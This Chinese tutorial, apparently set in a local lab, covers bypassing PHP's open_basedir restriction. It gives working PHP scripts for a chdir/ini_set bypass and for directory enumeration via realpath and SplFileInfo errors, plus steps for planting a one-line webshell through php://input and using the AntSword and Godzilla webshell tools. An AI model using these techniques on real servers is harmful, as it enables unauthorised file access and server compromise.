open_basedir绕过
一、了解open_basedir
1. 搭建环境
在test目录下存在一个open_basedir.php的文件
里面的php代码就是简单的文件包含或者ssrf,利用的是file_get_contents函数
open_basedir也就是在这种文件包含或者ssrf访问其它文件的时候生效
然后在www目录下再新建一个txt文件,里面内容随意
2. 未设立open_basedir
当没有设立open_basedir的时候,可以通过open_basedir.php访问到hello.txt文件里面的内容
3. 设立open_basedir
当在php.ini这个配置文件里面设立open_basedir的路径为test目录下的时候
修改完配置文件记得重启服务器
这时候再次通过open_basedir.php访问hello.txt的时候,报错
报错显示open_basedir限制生效,文件(…/hello.txt)不在允许的路径内
4. 总结
将两次结果对比,可以理解open_basedir的作用就是限制访问
如果设立在test目录下,那么就只能访问test目录下面的目录或者文件,其它目录下面的内容都无法访问
如果不设立open_basedir,任何目录下的内容都可以访问
二、动态设置open_basedir
大部分情况都不会直接修改配置文件
而是通过ini_set函数,动态的设置配置文件的值,一样可以实现限制的作用
两者的区别就在于
修改配置文件会对整个服务器生效,如果其它的文件含有文件包含,同样被限制,而且一修改就要重启服务器,那些大厂商就不可能这样去设定
而动态修改配置文件仅对当前文件生效,不需要重启服务器
三、命令执行绕过open_basedir
我们之前学过文件包含可以利用伪协议
我们在这里使用抓包试一下input伪协议
发现在响应包里面,直接将我们写的php代码打印出来了
这里是因为这个file_get_content函数的原因
我们换成include 试试
发现成功解析
既然伪协议可以使用,那么利用input伪协议,写个一句话木马,然后蚁剑连接
请求体这里一定要写上一句话木马
成功连接蚁剑
但是发现打不开其它的目录,写着限制了
此时我们可以使用命令终端去查看文件,可以发现没有被限制
四、chdir绕过open_basedir
提供了下面的源代码,我们分析一下源代码,就可以理解为什么使用chdir可以绕过open_basedir限制
<?php
ini_set('open_basedir',__DIR__);
//echo file_get_contents('../hello.txt');
mkdir('test1');
chdir('test1');
ini_set('open_basedir','..');
chdir('..');
chdir('..');
chdir('..');
chdir('..');
chdir('..');
chdir('..');
ini_set('open_basedir','./');
echo file_get_contents('C:\phpstudy_pro\WWW\hello.txt');
首先使用ini_set函数设置了open_basedir为当前目录
然后使用mkdir在当前目录下面创建一个test1目录
chdir函数作用相当于cd test1,也就是切换到test1目录
再使用ini_set将open_basedir设置为上一级目录,也就是test目录
然后多个chdir切换到上一级目录,理论上可以放n个,让它切换到根目录
最后设置open_basedir为当前目录,也就是根目录,对于windows来说就是C盘根目录
这样再使用文件包含打开其它目录下的文件就可以访问了,没有open_basedir限制了
五、realpath绕过open_basedir
上面讲的都是可以绕过open_basedir查看文件内容
那么怎么能够绕过open_basedir查看目录下都有哪些文件
这样我们就可以知道要查看那个文件了
<?php
ini_set('open_basedir', __DIR__);
printf("<b>open_basedir: %s</b><br />", ini_get('open_basedir'));
ini_set('error_reporting', E_ALL);
set_error_handler('judgePathExist');
$dir = 'C:/phpStudy_pro/WWW/';
$file = '';
$chars = 'abcdefghijklmnopqrstuvwxyz0123456789_';
for ($i=0; $i < strlen($chars); $i++) {
$file = $dir . $chars[$i] . '<><';
realpath($file);
}
function judgePathExist($errno, $errstr)
{
$regexp = '/File\((.*)\) is not within/';
preg_match($regexp, $errstr, $matches);
if (isset($matches[1])) {
printf("%s <br/>", $matches[1]);
}
}
//echo 1;
?>
从结果看出,获得了www目录下的所有文件
那么我们分析一下代码,理解是如何呈现出来的
分析源代码之前,我们先来看一下realpath函数的这个特性
首先我们设置了open_basedir为当前目录,并且打印出来确认一下
然后设置报错为报告所有的错误
然后在文件开头字母后面拼接上<><,我自己也试了<符合也是可以的
我们查看结果,页面上成功在设置open_basedir的前提下,报错出存在的e开头的目录或者文件
了解了这个之后我们再去分析源代码
开头这些部分就是通过for循环去列举C:/phpStudy_pro/WWW/可能存在的文件,拼接上<><,当使用realpath的时候,会报错,显示出文件或目录的全称
重点在set_error_handler函数,这个函数是用来设置错误句柄
当报错的时候,就会自动触发judgePathExist函数
这个judgePathExist函数作用就很明显了,将报错中的目录或文件名利用正则替换,给它拿出来,再判断是否存在这个文件或目录,如果存在就打印在页面上
这样就做到了绕过open_basedir查看目录详情,而目录是可以自己设置的
所以就可以知道所有的文件
但是这里有个局限性,比如说e开头的目录或文件,如果有多个,但是他只会报错出一个
只能做到枚举特定目录下的文件 但是不全
六、SplFileInfo下的getrealpath函数绕过open_basedir
上面的realpath绕过方法不全
这个方法就可以获取同字母开头的多个文件或目录,相对来说算是齐全的
但是我发现i开头的文件或目录还是不太全
这个方法也没什么好讲的
主要记住SplFileInfo类下的getrealpath函数不受open_basedir限制就行
<meta charset="utf-8">
<?php
ini_set('open_basedir', dirname(__FILE__));
printf("<b>open_basedir: %s</b><br />", ini_get('open_basedir'));
$basedir = $_GET['file'];
$chars = 'abcdefghijklmnopqrstuvwxyz0123456789_.';
$s = '';
$arr = array("\\");
$resut = array();
for ($j = 1; $j < 8; $j++)//可能开头$j位相同
{
for ($i = 0;
$i < strlen($chars);
$i++) {
foreach ($arr
as $value) {
$info = new SplFileInfo($basedir . "\\" . $value . $chars[$i] . '<><');
$re = $info->getRealPath();
if ($re) {
if (!in_array($re, $resut)) {
array_push($resut, $re);
}
$re = substr($re, strripos($re, "\\") + 1, $j);
$s = $s . '|' . $re;
// echo $s . '<br/>';
ob_flush();
flush();
}
}
}
$arr = explode('|', $s);
}
print("result is here:<br>");
foreach ($resut as $value) {
echo $value . "<br>";
}
?>
记得传一个目录参数file
七、godzilla(哥斯拉)绕过open_basedir
哥斯拉是一个类似于蚁剑的webshell工具
主要使用的是哥斯拉的插件,一键绕过open_basedir,很方便
先准备一个环境
php.ini设置open_basedir为test目录
确保文件包含无法访问hello.txt内容
然后准备一个一句话木马,用于哥斯拉连接webshell
最后打开哥斯拉
再添加目标之前,先将php.ini得到open_basedir设置为空
否则无法连接哥斯拉
这里如果不知道该怎么选择这些选项,可以通过抓包判断,比如这个pass和key到底改选择哪个是一句话的密码
将哥斯拉的代理修改为http的8081端口,也就是burp的代理
点击测试连接,将流量包截取到,发现pass的值是带有eval的
因此pass就是一句话的密码
点击添加之后,右键进入管理页面
选择文件管理
此时我们的其它目录文件是可以打开的,因为没有设置open_basedir
再次设置open_basedir
然后可以看到被open_basedir限制住了
上面有个ByPassOpenBasedir功能,直接选择点击,再次返回文件管理,发现可以查看其它目录文件了